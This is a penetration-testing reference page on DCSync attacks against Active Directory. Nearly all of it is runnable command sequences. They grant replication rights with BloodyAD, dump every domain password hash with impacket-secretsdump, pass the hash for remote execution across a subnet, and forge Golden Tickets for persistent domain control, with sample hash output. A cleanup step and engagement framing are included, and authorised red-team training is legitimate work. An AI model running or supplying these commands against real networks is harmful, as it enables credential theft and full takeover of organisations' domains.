# DCSync and Domain Takeover

> Exploits DCSync attack via replication privileges to extract password hashes from AD, enabling credential theft and full domain compromise.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/active-directory-dcsync-and-domain-takeover
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-04-05
- **Updated:** 2026-08-11

DCSync abuses Active Directory replication rights to pull password hashes for any domain account directly from a domain controller: without logging on to the DC or running code on it. With the krbtgt hash you can forge Golden Tickets. With the Administrator hash you have persistent access regardless of password changes. This is the end goal of most AD engagements.

## Prerequisites

DCSync requires one of the following on the domain object:

- Membership in Domain Admins, Enterprise Admins, or Domain Controllers groups
- DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights explicitly granted
- WriteDACL on the domain object to grant yourself these rights: see [ACL Abuse Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation/acl-abuse-privilege-escalation)

## Grant DCSync rights with BloodyAD

If you have WriteDACL on the domain object, use BloodyAD to grant replication rights to your controlled account before running secretsdump.

**Grant and verify DCSync rights**

```bash
# Grant DCSync rights to controlled user
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync $USER

# Verify rights were added
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M daclread --options TARGET_DN="DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" PRINCIPAL=$USER
# [+] User jsmith now has DS-Replication-Get-Changes-All on the domain
```

## Perform DCSync

**DCSync with impacket-secretsdump**

```bash
# Dump all domain hashes
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc

# Dump specific high-value accounts
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc-user krbtgt
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc-user Administrator

# With NTLM hash (Pass-the-Hash)
impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH -just-dc

# With Kerberos ticket
export KRB5CCNAME=$USER.ccache
impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -k -no-pass -just-dc

# Full dump including NTDS and LSA secrets
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::
# svc-backup:1103:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
```

## Using the dumped hashes

The four most important hashes from a DCSync are Administrator, krbtgt, and any service accounts with high privileges. Each enables a different follow-on technique.

**Using DCSync output**

```bash
# Pass-the-Hash as Administrator: access any domain host
nxc smb 192.168.1.0/24 -u Administrator -H $ADMIN_NTHASH
impacket-psexec $DOMAIN/Administrator@$TARGET_IP -hashes :$ADMIN_NTHASH

# Pass-the-Hash with impacket tools
impacket-wmiexec $DOMAIN/Administrator@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$ADMIN_NTHASH
impacket-smbclient $DOMAIN/Administrator@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$ADMIN_NTHASH

# Golden Ticket: forge TGT for any user, valid until krbtgt rotated twice
impacket-ticketer -nthash $KRBTGT_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec $DOMAIN/Administrator@$DC_HOSTNAME -k -no-pass
```

## Get domain SID

The domain SID is needed for Golden Ticket creation. Pull it from the DCSync output or query it directly.

**Get domain SID**

```bash
# From impacket-getPac
impacket-getPac $DOMAIN/$USER:$PASSWORD -targetUser $USER -dc-ip $TARGET_IP | grep "Domain SID"

# From nxc
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --get-sid

# From secretsdump output: look for lines like:
# corp.local\Administrator:500:...
# The SID is in the domain object: extract with:
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=domain)" objectSid
# Domain SID: S-1-5-21-3623811015-3361044348-30300820
```

## Cleanup: remove DCSync rights

Always remove granted replication rights after the engagement. Leaving them in place creates a persistent backdoor that is detectable by defenders and out of scope for most engagements.

**Remove DCSync rights**

```bash
# Remove DCSync rights granted earlier
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove dcsync $USER

# Verify removal
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M daclread --options TARGET_DN="DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" PRINCIPAL=$USER
```

With domain hashes in hand the next steps are lateral movement and persistence. For using hashes across the network see [Pass-the-Hash and Pass-the-Ticket](https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-hash-and-pass-the-ticket). For maintaining access beyond the engagement see [Golden and Silver Ticket Persistence](https://hackindex.io/platforms/active-directory/persistence/golden-and-silver-ticket-persistence).

## References

- [BloodyAD: GitHub](https://github.com/CravateRouge/bloodyAD) - add dcsync, remove dcsync reference
- [Impacket secretsdump and ticketer: GitHub](https://github.com/fortra/impacket) - DCSync execution and Golden Ticket creation